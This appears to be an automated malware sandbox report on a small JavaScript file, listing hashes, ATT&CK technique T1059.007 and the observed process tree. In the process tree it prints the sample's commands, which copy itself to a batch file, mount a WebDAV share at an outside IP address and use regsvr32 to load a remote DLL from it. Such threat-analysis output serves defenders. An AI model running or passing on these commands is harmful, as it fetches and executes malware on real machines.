376085bc9aedc269393898b028006abc2555072e61a0471ceb663bd3ccf4a26d

Analysis

max time kernel
15s
max time network
19s
platform
windows7_x64
resource
win7-20240704-en
resource tags

arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
submitted
10/07/2024, 08:22

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General

Target

1035225472423620255.js
Size

5KB
MD5

79cea7a28ac3b0816f02ef8cd56bb374
SHA1

b97aeaa191a25362322f9c6a5010778eee4232c7
SHA256

376085bc9aedc269393898b028006abc2555072e61a0471ceb663bd3ccf4a26d
SHA512

af1847183c548a654eb92db6b08ae99eb46ce7923ab717f44f743360f1f7f31d3119eef5013005f664f680315e3804e3766e4553584af7a2d1f7fd9f51756cb9
SSDEEP

96:jOcpeIr/HRoYmcfRoYV10WklIdGTIfe1xTiifxdexT2xIBIkTv:acoApoYmcpoYV1MlIgTIf6TiiZgTqCI+

Score

3^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Runs net.exe

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
2644	regsvr32.exe

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 1052 wrote to memory of 2240	1052	wscript.exe	29
PID 1052 wrote to memory of 2240	1052	wscript.exe	29
PID 1052 wrote to memory of 2240	1052	wscript.exe	29
PID 2240 wrote to memory of 2688	2240	cmd.exe	31
PID 2240 wrote to memory of 2688	2240	cmd.exe	31
PID 2240 wrote to memory of 2688	2240	cmd.exe	31
PID 2240 wrote to memory of 2644	2240	cmd.exe	32
PID 2240 wrote to memory of 2644	2240	cmd.exe	32
PID 2240 wrote to memory of 2644	2240	cmd.exe	32
PID 2240 wrote to memory of 2644	2240	cmd.exe	32
PID 2240 wrote to memory of 2644	2240	cmd.exe	32

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\1035225472423620255.js
1⤵
- Suspicious use of WriteProcessMemory
PID:1052
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /k copy "C:\Users\Admin\AppData\Local\Temp\1035225472423620255.js" "C:\Users\Admin\\iehjwd.bat" && "C:\Users\Admin\\iehjwd.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2240
- - C:\Windows\system32\net.exe
    net use \\45.9.74.13@8888\DavWWWRoot\
    3⤵
    PID:2688
- - C:\Windows\system32\regsvr32.exe
    regsvr32 /s \\45.9.74.13@8888\DavWWWRoot\916.dll
    3⤵
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:2644

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\iehjwd.bat

Filesize
5KB

MD5
79cea7a28ac3b0816f02ef8cd56bb374

SHA1
b97aeaa191a25362322f9c6a5010778eee4232c7

SHA256
376085bc9aedc269393898b028006abc2555072e61a0471ceb663bd3ccf4a26d

SHA512
af1847183c548a654eb92db6b08ae99eb46ce7923ab717f44f743360f1f7f31d3119eef5013005f664f680315e3804e3766e4553584af7a2d1f7fd9f51756cb9

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